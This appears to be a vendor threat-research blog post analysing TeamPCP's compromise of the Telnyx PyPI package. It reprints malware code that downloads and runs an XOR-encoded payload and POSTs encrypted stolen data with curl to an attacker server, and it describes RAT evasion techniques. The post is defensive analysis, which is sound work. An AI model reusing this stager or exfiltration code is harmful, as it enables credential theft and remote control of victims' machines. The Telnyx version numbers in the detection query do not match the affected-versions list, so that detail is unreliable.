Executive summary
On March 19, 2026, multiple outlets reported that the threat actor TeamPCP compromised Aqua Security's open source repository of its popular vulnerability scanner, Trivy, to harvest credentials.
Just a few days later, reports of the same attack pattern also appeared in a GitHub Action for Checkmarx AST and Checkmarx KICS.
Since then, the attacker used further stolen credentials to embed sophisticated credential stealers into the popular PyPI package of LiteLLM.
Telnyx SDK library on PyPI is the latest reported compromise in this attack on open source repositories.
In this blog post, we analyze how the Telnyx SDK package on PyPI appears to have been infected with a malicious payload and provide mitigation recommendations against this type of attack.
How the story unfolded
On March 19, 2026, TeamPCP was reported to have leveraged a personal access token that was stolen three weeks earlier by exploiting a misconfigured pull_request_target workflow in Trivy's GitHub Actions, using it to push malicious commits to 76 of 77 Trivy GitHub Action version tags, infecting any CI/CD pipeline with Trivy integrated. This appears to have given TeamPCP access to the secrets and credentials of every organization with a pipeline that ran during the exposure window.
The initial compromise became a cascading credential/supply chain attack campaign.
On March 23, threat actors appear to have used stolen credentials from previous attacks to push malicious updates to Checkmarx KICS as part of their supply chain attack campaign.
On March 24, using credentials reported to have been harvested from LiteLLM's own CI/CD pipeline, the threat actors published malicious versions 1.82.7 and 1.82.8 of LiteLLM directly to PyPI. These versions carried the same stealer used in the Trivy attack, exfiltrating stolen data to two attacker-controlled domains: checkmarx[.]zone and models[.]litellm[.]cloud.
The ransomware group Vect has since announced a partnership with TeamPCP, significantly escalating the threat to any organization whose credentials were already stolen.
Telnyx SDK on PyPI: The latest compromise
On March 27, the threat actors appear to have used their stolen credentials again, this time to publish a malicious PyPI release to the popular Telnyx package — an open source Python SDK for the Telnyx cloud communication platform — with a three-stage malicious payload that acts as a remote access tool (RAT) and exfiltrates information to a new attacker-controlled server: 83[.]142[.]209[.]203.
The malicious payload inside the package
The following security insights regarding malicious behavior were observed from a compromised Telnyx SDK package released on March 27, 2026, all of which are being provided for research purposes. Please validate any actions you may choose to take regarding any malicious activity with professionals who understand your specific workloads.
Stager
Once the malicious libraries have been downloaded, the malicious code inside _client.py executes and sets up the environment for either Windows or Linux.
The loader then downloads the second stage of attack, wrapped as a wav file from the command and control (C2) server — hangup.wav for Windows and ringtone.wav for Linux — decodes it using the payload’s first eight bytes as the XOR key, and executes it.
try:
req = urllib.request.Request(WAV_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=15) as r:
with open(wf, "wb") as f:
f.write(r.read())
with wave.open(wf, 'rb') as w:
raw = base64.b64decode(w.readframes(w.getnframes()))
s, data = raw[:8], raw[8:]
payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])
with open(collected, "wb") as f:
subprocess.run(
[sys.executable, "-"],
input=payload,
stdout=f,
stderr=subprocess.DEVNULL,
check=True
)
except:
return
Once the wav has been downloaded and decoded, the loader decides what the next stage will be based on the OS type.
For Linux systems, the loader creates a new AES-256-CBC session key and uses it to encrypt the collected data. It will then encrypt the session key itself using the attacker's hardcoded RSA-4096 public key, and bundle it alongside the encrypted data before exfiltrating it as “tpcp.tar.gz”.
try:
subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL)
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL)
subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)
subprocess.run([
"curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
"http://83.142.209.203:8080/",
"-H", "Content-Type: application/octet-stream",
"-H", "X-Filename: tpcp.tar.gz",
"--data-binary", f"@{bn}"
], check=True, stderr=subprocess.DEVNULL)
except:
pass
For Windows, the loader simply executes the msbuild.exe executable and exits.
...
# Execute msbuild.exe with the NO_WINDOW flag
subprocess.Popen([p], creationflags=0x08000000)
Not a stealer but a RAT
On Windows machines, the downloaded WAV file is executed and eventually becomes a malicious msbuild.exe file, which is copied to the startup folder.
The executable is a loader that employs several obfuscation and evasion techniques to evade detection. It uses a DJB2 hash-based API resolution, direct syscalls, and kills Event Tracing for Windows (ETW) to evade detection.
The last stage for this binary is DLL injection via process hollowing to inject an embedded payload into a created “dllhost.exe”.
The shellcode is an embedded PNG inside the executable, and each ARGB pixel is considered a byte in its shellcode, where 0xFF is the separator.
The first pixel is the payload size in big-endian format, and the rest of the pixels are the code itself.
Shellcode
The shellcode functions as a RAT backdoor. To start its communication, its entry point decrypts an embedded config blob using a hardcoded RC4 key:
33 1a b9 c0 32 cf 95 c8 9d 87 7e e0 5b 46 f8 d8
Decrypting the 249 byte config file gave us the following strings:
Those values are used when connecting to the malicious C2 server.
The shellcode itself acts like a backdoor/RAT on the endpoint. By sending it the right opcodes, the attacker can decide which operations the DLL will execute. Some notable ones include:
Opcode |
Functionality |
|---|---|
0x12 |
Read file |
0x17 |
Kill process |
0x18 |
Read registry |
0x2A |
Spawn process |
0x2B |
Encrypt and exfiltrate |
0x47 |
Interactive shell via named pipe |
MSBuild chain of execution
The MSBuild chain of execution looks like this:
MSBuild resolves WinAPIs by DJB2 hash, patches ETW, and spawns dllhost.exe suspended.
It reads embedded PNG from .data and steganographically extracts shellcode.
It allocates memory in dllhost.exe via direct syscall, writes shellcode, and hijacks the thread.
The payload waits for commands from C2.
When prompted, the stealer collects credentials and other information into the temp dir, and communicates back to its C2 server: 83[.]142[.]209[.]203:8080.
Affected libraries
LiteLLM versions 1.82.7 and 1.82.8
Telnyx SDK versions 8.47.1 and 8.47.2 on PyPI
Checkmarx ast-result version 2.53.0 and cx-dev-assist 1.7.0
Mitigations and recommendations
To keep your organization protected, we recommend that you immediately consult with a security professional on taking the following potential actions:
- Downgrading packages to safe versions
- Rotating credentials
- Reducing exposure with network segmentation
- Identifying vulnerable hosts with Akamai Guardicore Segmentation
Downgrading packages to safe versions
The infected versions were removed from PyPI and GitHub; downgrading to earlier versions remediates the threat.
Rotating credentials
If a compromised package was detected, rotate all credentials present on the infected machine, including API keys, SSH keys, cloud credentials, tokens, and secrets.
Reducing exposure with network segmentation
Segment affected applications, allowing the necessary traffic and blocking traffic to attack controlled C2 domains.
Identifying vulnerable hosts with Akamai Guardicore Segmentation
The following Akamai Guardicore Segmentation Insight query identifies the endpoints that have been infected with malicious packages.
SELECT
name,
version,
path,
directory,
uid
FROM python_packages
WHERE
(LOWER(name) = 'litellm' AND version IN ('1.82.7', '1.82.8'))
OR
(LOWER(name) = 'telnyx' AND version IN ('4.87.1', '4.87.2'));
Summary
Beginning on March 19, 2026, the threat actor group TeamPCP launched one of the biggest and sophisticated supply chain attack campaigns in recent history. By exploiting a misconfigured GitHub Actions workflow in Aqua Security's Trivy vulnerability scanner, the group initiated a cascading credential theft operation that spread across multiple open source libraries, compromising Checkmarx KICS, LiteLLM, and Telnyx in the span of just eight days.
The campaign is ongoing, with the ransomware group Vect announcing a partnership with TeamPCP and hinting that a shift from credential theft to large-scale extortion and ransomware operations may soon happen.
Stay tuned
The Akamai Security Intelligence Group will continue to monitor, report on, and create mitigations for threats such as these for both our customers and the security community at large. To keep up with more breaking news from the Akamai Security Intelligence Group, check out our research home page and follow us on social media.
Tags